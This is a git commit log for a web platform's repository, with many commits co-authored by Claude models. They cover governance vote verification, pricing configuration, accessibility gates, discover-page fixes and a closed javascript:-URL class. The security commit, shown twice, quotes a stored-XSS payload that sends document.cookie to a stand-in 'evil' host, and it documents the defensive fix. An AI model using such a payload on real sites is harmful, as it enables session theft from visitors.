    single self-hosted Node process that is correct, and the module header's
    serverless warning is stale advice from the Vercel era. It stops being
    correct the moment a second instance exists.
  - rate-limit.ts still repeats an upstash+fallback+function triple five times.
    That is real duplication inside the surviving module, left alone because it
    changes behaviour for 129 importers; this change was about removing a second
    implementation, not refactoring the survivor. rateLimitAction is the shape to
    fold them into.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-25 15:06:46 +00:00
d5e2589347 Show what users fill in: build-service link, javascript:-URL class, and the dead-field gate (#744)
* feat(domains): link the build service — the rung before hosting

/domains assumes the visitor already has a site ('your site is already
hosted'), but a stranger arriving there has nothing to host. Link the
website-build service so the ladder is complete: build -> hosted free at
*.orangecat.ch -> custom domain.

The link carries no price: the service entity owns its rate, and
restating it here would be the second source of truth this config exists
to prevent.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(security): close the javascript:-URL class, and render the portfolio it blocked

`z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
`data:`. Verified against the real schema, not the primitive: a wishlist item
with `external_url: 'javascript:fetch("//evil?c="+document.cookie)'` parsed
successfully and the value passed through unchanged — and the public wishlist
page rendered exactly that field into an anchor labelled "View item →". Click =
script execution in the visitor's session. `target="_blank"` and
`rel="noopener noreferrer"` do nothing here; they govern the opened context, and
`javascript:` never opens one.

Found while wiring up `portfolio_links` on the service detail page — a field
stored and API-returned but rendered nowhere, so inert until it became an href.
Making it one is the unsafe act, which is what surfaced the live instance.

Three layers, because they fail differently:

- `webUrl()` (validation SSOT) — trims, then http(s) only. Trimming is not
  cosmetic: browsers strip leading whitespace/control characters before parsing
  a scheme, so " \n javascript:…" is live in an href.
- `safeHref()` (render boundary) — validation only binds rows written after it
  ships, and service-role inserts skip schemas entirely.
- `no-restricted-syntax` — bans the unsafe form for good. Mutation-tested red
  before being trusted.

The AST rule found 4 call sites that grep and a hand-written selector both
missed: multi-line `z\n.string()\n.url(msg)` in projects.ts, and
`z.string().trim().url().max(2000)` on avatarUrl/bannerUrl/website in
profile-claims — which feed an avatar src, a banner src, and a profile href.
Ending a class needs the linter's count, not the grep that found instance one.

Stored data checked separately, since a schema fix cleans nothing: all 6
services' portfolio_links and all 3 profile websites are already http(s), and no
wishlist item has an external_url at all (HTTP 200 + empty — absent, not
unqueryable). No cleanup migration needed.

Also unbreaks `npm run verify` from a git worktree, where it could not complete:
  - check-duplication.mjs resolved jscpd at <repo>/node_modules, but a worktree
    has none and inherits the main checkout's. Resolved via Node's own lookup.
  - eval-cat-retry.test.ts never set the anon key, silently relying on
    eval-cat.mjs reading .env.local from cwd — untracked, main-checkout-only. In
    the main checkout it passed by pulling the REAL anon key into a unit test;
    in a worktree the script exited before the retry logic ran. Now sets a fake
    key, and the 503 backoff actually executes.

verify: green (222 suites, 2208 passed), duplication 0.95% under the 1.0%
baseline. 33 new tests assert the CLOSED side — a test that only checks https://
still passes after someone reverts the helper.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(entities): show the fields users fill in, and gate the class that hid them

`portfolio_links` (fd84b108) was not a one-off. A field can be validated,
stored, carried through the domain and API layers, and rendered by nothing —
and nobody notices, because the section it belongs to renders its OTHER fields
and therefore looks complete.

Measured: 212 schema fields, 48 that no component or page referenced.

Fixed the two with real consequence:

  loans — the refinance form asks for the current rate and the desired rate,
  the two numbers that DEFINE a refinance, and the public loan page showed
  neither while showing `monthly_payment` from that same form section. A lender
  could not see the spread they were being asked to beat. Also: the page read
  `lender_name` while the create form writes `current_lender` (both are real
  columns — obligations write the former), so the lender line was blank for
  every borrower-created listing; and the "Loan Type" stat rendered the raw
  `loan_category_id`, so it showed a category id and never the loan type.

  events — the form collects a full postal address and the page rendered only
  the free-text `location`, leaving attendees unable to find the venue. The
  online join link, the RSVP deadline and the all-day flag were dropped too.
  The join link renders through `safeHref()`, since it is user-supplied.

Then stopped fixing instances and closed the class: scripts/check-dead-fields.mjs
fails when a schema field is collected and never shown. Both halves are proven
by mutation, not assumed — and the mutation test is what caught the extractor
anchoring on indentation, which had silently skipped every schema Prettier kept
on one line. An earlier hardcoded `z.|webUrl|optionalUrl` prefix had likewise
never seen `current_lender: optionalText(100)` — the very bug it was written to
find.

The 42 remaining fields are baselined with a written reason each, split into
plumbing, deliberate operator config, and debt — reader-relevant content with no
surface yet. The debt group is listed, not excused, so the gate can hold today's
count instead of being deleted for being noisy. The baseline only shrinks: when
a listed field starts rendering, the check fails until its line is removed.

verify: green (223 suites, 2217 tests).

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-24 23:20:15 +00:00
3a6376ddc2 fix(projects): show the activity a project actually has, and say when it is hidden (#742)
Dogfooding report on a project profile, three findings, one root cause between
the first two.

1. "No recent activity yet" on a project with a week of work behind it. The
   FleetCrown→OrangeCat link was never broken: timeline_events held 17
   published updates for that project. The card read project_updates — a table
   with zero rows platform-wide, no writer anywhere in the codebase, and no
   migration. Every project on the platform read as idle. Recent Activity now
   reads timeline_events, the one store activity lands in, and renders the
   publish-bus attribution ("via FleetCrown") with its deep link back.

2. Fourteen days in Draft with nothing on the page saying so. Projects were the
   only entity type without the owner bar; products and services have shown
   "only visible to you — publish it to go live" all along. Reused that
   component rather than adding a second banner.

   The status rule behind both — public iff active or completed — was written
   out twice and matches the projects_public_read RLS policy, so it is now one
   exported predicate the API and the page share.

3. No field for the current status of the work. `status` is the lifecycle and
   cannot answer "what is happening right now". Adds projects.work_status
   (nullable text, migration applied to the box before this ships), surfaced
   under About and editable in the project form. It had to be added to the
   update whitelist and the create payload too — the Zod schema alone would
   have let it save silently as nothing.

An owner now also sees their own draft's activity; before, the one person who
could act on it was shown the same "idle" as everyone else. Visitors still see
nothing until the project is published, and a draft still 404s for them.

Verified in the running app against production data: owner sees 10 FleetCrown
updates on the reported draft (was empty); a signed-out visitor on an active
project sees 11 with attribution; the bar reads "Preview — this project is
draft and only visible to you. Publish it to go live."; work_status round-trips
PUT → DB → "Current status" on the page, and was cleared again afterwards so no
test content was left behind. Anonymous on the draft: 404, no bar.

npm run verify: exit 0 — tsc clean, lint 0 errors, 223 suites / 2224 tests.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-24 21:12:22 +00:00
e4d495fa40 fix(security): close the javascript:-URL class, and render the portfolio it blocked (#728)
* feat(domains): link the build service — the rung before hosting

/domains assumes the visitor already has a site ('your site is already
hosted'), but a stranger arriving there has nothing to host. Link the
website-build service so the ladder is complete: build -> hosted free at
*.orangecat.ch -> custom domain.

The link carries no price: the service entity owns its rate, and
restating it here would be the second source of truth this config exists
to prevent.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(security): close the javascript:-URL class, and render the portfolio it blocked

`z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
`data:`. Verified against the real schema, not the primitive: a wishlist item
with `external_url: 'javascript:fetch("//evil?c="+document.cookie)'` parsed
successfully and the value passed through unchanged — and the public wishlist
page rendered exactly that field into an anchor labelled "View item →". Click =
script execution in the visitor's session. `target="_blank"` and
`rel="noopener noreferrer"` do nothing here; they govern the opened context, and
`javascript:` never opens one.

Found while wiring up `portfolio_links` on the service detail page — a field
stored and API-returned but rendered nowhere, so inert until it became an href.
Making it one is the unsafe act, which is what surfaced the live instance.

Three layers, because they fail differently:

- `webUrl()` (validation SSOT) — trims, then http(s) only. Trimming is not
  cosmetic: browsers strip leading whitespace/control characters before parsing
  a scheme, so " \n javascript:…" is live in an href.
- `safeHref()` (render boundary) — validation only binds rows written after it
  ships, and service-role inserts skip schemas entirely.
- `no-restricted-syntax` — bans the unsafe form for good. Mutation-tested red
  before being trusted.

The AST rule found 4 call sites that grep and a hand-written selector both
missed: multi-line `z\n.string()\n.url(msg)` in projects.ts, and
`z.string().trim().url().max(2000)` on avatarUrl/bannerUrl/website in
profile-claims — which feed an avatar src, a banner src, and a profile href.
Ending a class needs the linter's count, not the grep that found instance one.

Stored data checked separately, since a schema fix cleans nothing: all 6
services' portfolio_links and all 3 profile websites are already http(s), and no
wishlist item has an external_url at all (HTTP 200 + empty — absent, not
unqueryable). No cleanup migration needed.

Also unbreaks `npm run verify` from a git worktree, where it could not complete:
  - check-duplication.mjs resolved jscpd at <repo>/node_modules, but a worktree
    has none and inherits the main checkout's. Resolved via Node's own lookup.
  - eval-cat-retry.test.ts never set the anon key, silently relying on
    eval-cat.mjs reading .env.local from cwd — untracked, main-checkout-only. In
    the main checkout it passed by pulling the REAL anon key into a unit test;
    in a worktree the script exited before the retry logic ran. Now sets a fake
    key, and the 503 backoff actually executes.

verify: green (222 suites, 2208 passed), duplication 0.95% under the 1.0%
baseline. 33 new tests assert the CLOSED side — a test that only checks https://
still passes after someone reverts the helper.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-24 16:37:52 +00:00
0b321f048c feat(pricing): all own-offer prices to-be-announced, one SSOT per offer (#726)
* feat(pricing): all own-offer prices to-be-announced, one SSOT per offer

Plans stay visible everywhere; no price is shown or charged until pricing
is decided. null = to-be-announced (distinct from 0 = genuinely free):

- /domains custom-domain tier renders from new config/domains-offer.ts
  (was a hardcoded CHF 15 in the page — the only price with no SSOT)
- Supporter pass (cat-plans.ts) CHF 10 -> null; /pricing card shows
  'Price to be announced'
- FleetCrown passes (fleetcrown-passes.ts) CHF 15/40/90 -> null; seed
  writes 0 so the pass products charge nothing; drift-guard test updated

Announcing a price later = set one number in the offer's config (+ sync
the DB entity, as each config's comment states).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(ci): pre-push E2E must verify :3000 is OrangeCat before testing it

Port 3000 is shared across the fleet; the health route's template shape
matches other apps, so the gate ran E2E against evig's dev server and
failed on foreign code. Identify the app via the homepage before running.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(pricing): null price pauses the pass product (schema forbids price 0)

user_products_price_check requires price > 0, so 'to be announced' cannot
be a zero-priced active product. The seed now pauses a pass whose config
price is null and leaves the price column untouched; announcing a price
re-activates it. Prod products paused to match.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-24 00:12:02 +00:00
0610d1ee4e fix(a11y): close the white-on-accent class with a gate, not a third sweep (#720)
PR #703 swept 13 files to text-on-accent, but three labels survived: the
Button 'accent' cva variant in config/design-system.ts (which is exactly
what renders the header's Get Started and the landing page's Meet your
Cat — measured live at 3.10:1), plus two inline chips. White on
--public-accent is 3.10:1 against a 4.5:1 floor; text-on-accent is 6.10:1.

Second fix of the same class, so the class is now closed: a new
check:accent-ink gate (mutation-tested — reverting the variant makes it
exit 1) runs at the head of verify. The broader design:check stays
unwired because legacy violations would turn the base red; this gate is
narrow and green today.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-20 13:19:58 +00:00
GandClaude Opus 5 dfa67843a6 ci: call the central auto-merge sweep — its coverage moved first (#719)
This repo was the last of the two deliberately excluded from the fleet rollout.
Its copy of auto-merge-sweep.sh shipped merges by re-arming CI so that cd.yml
(workflow_run on CI) would fire — a chain with a known hole: a CI run started by
GITHUB_TOKEN emits no workflow_run event, so CD never fires for an automated
merge. The canonical sweep closes that with a RECONCILER, enabled here via
`deploy_workflow: cd.yml`: every sweep compares main's tip against the last
successful cd.yml run and dispatches it directly when they differ. The
`post-main` hand-off in ci.yml stays as a second path; the reconciler is the
net under both.

THE TESTS MOVED BEFORE THE SCRIPT WAS DELETED. This repo was one of only two in
the fleet that ever wrote tests for the sweep, and its suite covered four things
the canonical suite did not — the in-progress defer, the stale-run wait, and
the full red-base carve-out set (green-on-failing-jobs merges; no coverage
refused; PARTIAL coverage refused). All of it is now in
dotfiles/scripts/ci/test-auto-merge-sweep.sh (17 cases, mutation-proven),
ported in maonakamoto/dotfiles#34 so no assertion is lost between the two
commits.

One block of auto-merge-base-guard.test.ts was NOT about the sweep: the source
assertions on refresh-e2e-reset-tokens.mjs (fixture keyed on GITHUB_RUN_ATTEMPT,
leftover fixture cleared instead of failed on). That script stays in this repo,
so its guard stays too — moved to e2e-reset-fixture.test.ts, its own file,
because the thing it tests no longer shares context with a script this repo no
longer carries.

Verified before deleting the local copy: diffed it against the canonical and
accounted for every differing line — all of them are main_* vs base_* naming
for identical logic, the cancelled-rerun the canonical generalises, and the CI
re-arm the canonical does via REARM_WORKFLOWS. The update-branch behaviour this
repo's branch-currency tests pinned is in the canonical verbatim.

CLAUDE.md repointed: the policy section and the two-hand-offs section both named
scripts/ci/auto-merge-sweep.sh, which would have become a lie the moment this
merged.

Fleet duplication: 8 copies -> 7.

Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 13:04:17 +00:00
GandClaude 7cc01c5a07 Fix discover: fixture accounts, dead relevance sort, mobile filters, email privacy leak (#718)
* fix(profile-claims): stop hiding table target from the schema-drift gate

CD's schema-drift auditor (scripts/db/audit-schema-drift.mjs) statically
resolves .select()/.eq()/.update() calls by scanning the text window after
the nearest preceding literal .from(DATABASE_TABLES.X) in the file. The
claimsTable() wrapper hid that call, so every column reference after it got
misattributed to `profiles` (the last table the scanner could resolve) —
profiles.created_by, .draft, .suggested_username, .claimed_by, .claimed_at
were flagged as drift and the 2026-08-18 deploy was aborted (live release
untouched; the migration itself had already applied cleanly).

Inlined .from(DATABASE_TABLES.PROFILE_CLAIMS) at every call site instead of
routing through the helper, so each one resolves independently.

* fix(profiles): stop exposing real email addresses as public usernames

Privacy fix, not related to the profile-claims feature on this branch.

An earlier version of handle_new_user() inserted the full signup email as
profiles.username instead of the local part before '@' (already corrected —
see scripts/fix-handle-new-user-function.sql), but the profiles created
under the buggy trigger were never backfilled. Their username — a public,
crawlable value at /profiles/<username> — is still their real email address
in production right now.

- Renames every affected profile to the email's local part, de-duplicating
  the same way the app's own uniqueness check does (base, base1, base2, ...)
- Adds a CHECK constraint (profiles_username_no_at_check) so no future write
  path can reintroduce an '@' into a username — there was no DB-level guard
  before this, only application-layer validation
- Deletes scripts/fix-username-emails.js, an unexecuted ad-hoc script that
  did the rename but not the schema guard; this migration supersedes it

* fix(discover): fixture-account filtering and relevance sort were both drifting

Two independent bugs made /discover's People results and Sort control mean
less than they looked like they meant:

1. Fixture filtering existed (config/public-directory.ts) but three call
   sites each duplicated a different subset of it by hand: the profiles
   list query only excluded 2 of ~5 known shapes, discoverCounts.ts's
   People badge excluded the same 2, and processors.ts's facets count
   excluded none. None of the three caught curl-test/node-test/
   playwright-test/fetch-browser-test/profiletest — this repo's own E2E
   fixtures (confirmed against @example.com/*.test signups in
   scripts/db/data_sample.sql) — so they showed up in public search next
   to real people. Consolidated the rule into one SSOT (prefixes + an
   exact-match set) and pointed all three consumers at it directly instead
   of hand-copying clauses.

2. Sort by Relevance only ever worked for the profiles/projects/loans
   path (services/search/processors.ts). The other ~10 entity types
   (causes, events, products, services, groups, circles, wishlists,
   research, ai_assistants, plus investments/assets) were always fetched
   newest-first regardless of the Sort control — changing it silently did
   nothing on those tabs. Added a shared generic scorer
   (sortGenericResults, keyed on title/name + description, the shape all
   of them share) and wired sortBy through
   discoverGenericFetcher.ts/useDiscoverFinancialData.ts so every tab
   actually responds to Sort.

* refactor(discover): mobile-first filters, clearer card hierarchy

- Mobile filters: the "Show Filters" toggle re-rendered the full desktop
  filter form inline in the page flow (pushing results off-screen, no
  swipe-to-dismiss, no backdrop). Replaced with the existing BottomSheet
  primitive — the standard mobile filter pattern, and one this codebase
  already had sitting unused for this exact case.
- ProfileCard: three separate tap targets (avatar link, name link, "View
  Profile" button) all pointed at the same URL. Now the whole card is one
  link, and typography carries a real hierarchy — name is the loudest
  thing on the card, @handle quiet and secondary, bio smallest/last. List
  and grid variants share the same avatar/badge logic instead of
  duplicating it.
- DiscoverFilters: status pills and category pills were the same ~10 lines
  of button markup copy-pasted with one class difference — extracted
  FilterChip. Replaced the raw <input>/<select> location fields with the
  existing Input/Select design-system primitives (the file already
  imported Input for the search box and used neither for these).

* feat(profile): show when a profile was created

Added "Joined <Month Year>" next to @username on the profile page —
quiet, secondary metadata (not a headline stat), and deliberately not on
search-result cards, where it would compete with name/bio for attention
without helping a visitor decide whether to open the profile.

* fix(discover): restore type narrowing on ProfileCard status badge

Hoisting isMakerStatus(profile.current_status) into a separate `hasStatus`
boolean broke TS's control-flow narrowing at the MAKER_STATUS_METADATA
lookup (current_status is string | null | undefined) — CI caught it
(TS2538) before I did. Call the type guard inline at the access site again.

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-08-19 00:09:07 +00:00
503cb74430 fix(blog): unescaped <username> in MDX frontmatter broke the main build (#694)
The excerpt contained a literal <username>, which the MDX loader parses as an
unclosed JSX tag — PR CI doesn't run the standalone build, so main went red
and CD skipped. Also adds check:mdx to verify so any non-compiling MDX file
fails locally and on PR CI, closing the class.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-13 20:01:31 +02:00
db284f5f96 refactor(ai): one platform-LLM path, one eval auth helper (#676)
Two duplicated blocks, both now living once:

- intent-router and offer-engine each carried their own copy of the
  platform provider call (Groq-first, OpenRouter fallback, json_object,
  failure logging). Both now go through callPlatformJson in
  platform-llm.ts — the SSOT the other four structured Cat features
  already use — so provider choice and the json-mode 400-retry apply
  everywhere, once. form-prefill-service stays separate on purpose: it
  accepts a user-supplied API key/model, so it is not a pure platform
  call.

- signIn/buildAuthCookie (GoTrue REST + forged @supabase/ssr cookie) was
  copied across eval-cat, eval-voice-routing and eval-wallet-routing.
  Extracted to scripts/eval-auth.mjs; deploy-selfhost.sh ships it next
  to eval-cat.mjs so the nightly timer on the box keeps resolving the
  import.

Verified: tsc clean, lint clean, 2153 unit tests green, and
eval:voice 13/13 against production through the new auth path.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-11 16:28:38 +00:00
35725fb929 refactor(oauth): CLIENT_SPECS registry + register Solon as the second relying party (#661)
OC1 (OrangeCat side) of the Solon v1 plan. register-client.ts hardcoded the
FleetCrown spec; a second relying party would have meant copy-pasting the
script. Extract CLIENT_SPECS — one least-privilege spec per client, selected
by --client (defaults to fleetcrown, preserving the original invocation and
the FleetCrown spec verbatim; re-run against prod confirmed: updated, secret
untouched).

New spec: solon — scopes `openid profile email` ONLY. Solon needs identity,
never OrangeCat agency: login links a Solon member to an OC actor
(Member.ocActorId), while governance authority flows the other way, through
Bitcoin-signed votes that OrangeCat re-verifies. Registered against prod;
secret handed to Solon's env out-of-band. The Solon-side NextAuth consumer
is the remaining half of OC1.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 22:50:27 +00:00
7b8b57bd4e feat(cat): the Cat proposes; Solon disposes — propose_governance_change (#660)
* feat(cat): the Cat proposes; Solon disposes — propose_governance_change

OC3 of the Solon v1 plan: the Cat can now file a change to its own platform
spending leash as a Solon governance proposal — and that is ALL it can do.
The action is high-risk + always-confirmed (a human okays the filing before
anything leaves the system), and the change only ever activates if the
Bitcoin-signed Solon vote approves it and decision-verify re-verifies every
signature locally (#657).

- cat-actions: propose_governance_change (organization, high risk,
  requiresConfirmation) — flows through cat_pending_actions and
  cat_permissions like the other 49 actions
- handlers/governance.ts: validate ceilings (per-action <= daily) → record a
  local draft version (decision-verify attaches the approved decision to it
  by content hash) → sign the proposer attestation with CAT_SOLON_PRIVKEY
  (the Cat's own key; user keys never exist here) → POST to Solon with the
  agent API key → store solon_proposal_id; Solon refusal marks the draft
  rejected so nothing lingers half-open. Env-gated, inert unconfigured.
- bitcoin-message.ts grows the signing side (one key only) +
  solonProposalMessage(), byte-identical to Solon's proposalMessage()
  (golden-pinned)

Prompt budget: description/params cut to fit the hard 54.6k static budget;
the Groq-remaining ratchet raised 3,400 -> 3,650 with the argued reason in
place (new enabled capability), per the mechanism's own convention.

Test infra: jsdom suites get Node's TextEncoder/TextDecoder polyfill —
server-side crypto modules are now importable from any suite.

Tests (6 new): golden proposal-message strings, sign→verify roundtrip on the
fixed key, unconfigured refusal (zero DB touches), ceiling validation, happy
path (draft recorded, signature in the POST body verifies, proposal id
stored), Solon-refusal marks draft rejected. verify green: 2153 tests.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(governance): cast-vote script — the Cat's operator-run voting edge

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 22:30:57 +00:00
318d5f1ed0 feat(governance): the decision edge — verify Solon votes locally, then obey them (#657)
* feat(governance): the decision edge — verify Solon votes locally, then obey them

OC2 of the Solon v1 plan: the machinery that turns a finalized Solon vote
into an activated allocation policy, with every claim re-established locally.
"Verifiable, not trusted" is now enforced in code:

- solon_trusted_keys: the honest trust anchor — a small, operator-pinned set
  of Solon member addresses/keys (scripts/solon/pin-trusted-keys.ts,
  owner-gated, pins from Solon's public roster and refuses non-ACTIVE
  members). A vote from an unpinned address refuses the whole decision.
- src/services/solon/bitcoin-message.ts: OrangeCat's own Bitcoin
  signed-message verifier (BIP137 headers 27-42, P2PKH/P2WPKH/P2SH-P2WPKH
  candidate matching) — pinned byte-for-byte to Solon's signer by a fixed
  test vector generated there. The canonical vote message is re-derived, not
  read from the document, binding each vote to session + choice + voter.
- src/services/solon/decision-verify.ts: fetches the decision document,
  re-verifies every signature against pinned keys with PINNED weights (the
  document's weights are never consulted), recomputes tally, quorum (against
  the pinned electorate) and threshold, re-hashes the content, and only then
  records the version with verified_at and activates it via activateVersion.
  Activation is automatic after verification — the signed vote IS the
  legitimation; a veto after the vote would make voting decorative.
- POST /api/solon/events: HMAC webhook receiver (timing-safe, env-gated,
  inert without SOLON_WEBHOOK_SECRET). Doorbell, not courier: the payload
  only names the decision; verification fetches everything itself.
- GET /api/cron/solon-sync: daily reconciliation over Solon's public
  proposals API — heals missed webhooks, grants no verification shortcuts.

Test-infra enablers (never-twice): jest can now run node-environment suites
(jest.setup.ts browser-global touches made conditional) and transform the
ESM-only @noble/@scure packages (scoped js transform). Route-guard
allowlists document why the webhook is HMAC-authed and unthrottled.

Tests (13 new): the pinned cross-repo signature vector incl. the Electrum
segwit quirk, canonical message byte-equality, and the refusal gauntlet —
unpinned voter, tampered content, unbound session, empty votes, below-quorum,
non-APPROVED outcomes (no DB writes) — plus the full happy path asserting
verified_at is written and the version activates. verify green: 2143 tests.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(governance): a webhook-supplied decision id must prove it is a UUID before it touches a URL

CodeQL flagged the fetch in decision-verify as request forgery: decision_id
arrives from an HMAC-verified but still external payload and flowed into the
request path unvalidated. Gate verifyAndApplyDecision on a strict UUID match
(refused before any DB or network use) and encode the path segment. Test
vector re-signed with a UUID session id; refusal test added.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 21:20:42 +00:00
00780f5268 feat(governance): the Cat's platform leash becomes a Solon-governed artifact (#656)
OC0 of the Solon v1 plan: platform-wide limits on the Cat's spending get a
versioned, governed home — and changing them now has exactly one legitimate
path: a Bitcoin-signed Solon vote, re-verified locally.

- allocation_policies table (service-role-only RLS): versioned policy content
  with content_hash (sha256 of canonical JSON — what Solon voters sign over),
  status draft|active|superseded|rejected with a one-active-per-key partial
  unique index, solon_proposal_id/solon_decision_id refs, decision_document
  stored verbatim, and verified_at — set only by decision-verify (OC2) after
  local signature re-verification. Idempotent DDL; already applied + recorded
  on the box (needed to regenerate database.generated.ts), so deploy replays
  it as a no-op.
- src/config/solon.ts — the ONE place OrangeCat knows its governance layer:
  Solon org id/slug, policy key, and GENESIS_ALLOCATION_POLICY byte-identical
  to Solon's seeded v1 so both version chains agree from the start.
- src/services/solon/canonical.ts — canonical JSON + contentHashOf, the
  cross-repo hashing contract, pinned by golden-hash tests to the same values
  as Solon's own tests (drift breaks CI, not prod verification).
- src/services/solon/allocation-policy.ts — getActiveAllocationPolicy (null
  on missing/error: governance being unreachable must not brick payments) and
  activateVersion, which refuses any row without verified_at + decision id.
- Enforcement at the single spend-cap choke point (checkSpendCaps): the
  platform per-action ceiling and the platform-wide DAILY ceiling (all users
  combined, derived from cat_action_log like the per-user budget — no new
  bookkeeping state) apply as an additional min() over per-user caps. Denial
  reasons name the policy version and point at /governance.
- Public record: GET /api/v1/governance + /governance page — every version,
  its hash, and the Solon decision that legitimated it; the genesis version
  is labeled bootstrap ("first change requires a Solon vote").
- scripts/solon/seed-genesis-policy.ts — owner-gated, idempotent, refuses to
  overwrite history on hash mismatch. Already run against prod: v1 active,
  content_hash 7778223670a5de2c…, second run verified as a no-op.

Tests: golden hashes (cross-repo pin incl. genesis), activateVersion refusal
matrix, platform ceiling enforcement (per-action, platform-daily across
users, stricter-of-user-and-platform, pre-genesis no-op). verify green:
2130 tests.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-07 20:23:46 +00:00
a99d541b45 fix(db): actors outlived their accounts — the last table in the family (#655)
profiles (#637) and cat_conversations (#651) both cascade from the account
now. Each sweep stopped one table short of done, and `actors.user_id` is
what was left: it references nothing at all. Deleting an account still
leaves the actor standing — the row that owns every product, service,
project, cause, event, loan and asset the person ever published.

15 orphaned actors were live in production. They were `e2e-reset-*`,
`cat-wallet-eval-*` and `cascade-proof-*` rows: the verification of the
earlier fixes leaked rows into the table the next fix would be about.
Purged, behind a guard that proved they owned 0 rows across all 25 child
foreign keys before deleting anything.

Unlike its siblings this one cannot be closed with a constraint, which is
why this adds a check rather than a migration:

  - ON DELETE CASCADE would delete the actor, which cascades on into
    contracts, investments and bookings — destroying the COUNTERPARTY's
    record of an agreement because the other side closed their account.
  - ON DELETE SET NULL is rejected outright by actor_type_check, which
    requires actor_type='user' to have a non-null user_id.

The honest fix is a tombstone — keep the actor, sever the identity — which
needs a deleted/anonymous actor_type. That is a schema decision, not a
drive-by, so it is stated here and left for one.

Until it lands:

  - `actors.orphaned` in the nightly invariant gate. This is the part that
    covers call sites nobody thought to patch, including future ones.
  - the two known leak sites delete the actor explicitly:
    refresh-e2e-reset-tokens.mjs (every CI run) and write-test-supabase.js,
    whose comment claimed "cascade removes profile" — true, and precisely
    the trap: it names the fixed thing while missing the one still broken.

Mutation-tested both directions with --gate: one injected orphan makes it
exit 1, removing it exits 0.

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-07 19:39:49 +00:00
e55e9e013b fix(ci): declare the failing-job list before the branch that can skip it (#652)
#650 declared it inside the `else` of the "does the base have CI history?"
check, but `set -u` is on and the merge site always reads it. On a base branch
with no CI history the sweep took the "proceeding" path and died:

  [auto-merge] no CI history for main — proceeding
  auto-merge-sweep.sh: line 246: main_red_jobs: unbound variable

That is auto-merge dead for every PR in the repo, not a degraded path. Latent
here because main has CI history, but one fresh repo away from being real — the
same defect shipped to the fleet ports and has been corrected there too.

Caught only because the case was executed rather than reasoned about, so the
regression test runs the real script against a `gh` reporting no CI history.

Co-authored-by: Georgy Butaev <georgy.butaev@revamp-it.ch>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-07 10:44:32 +00:00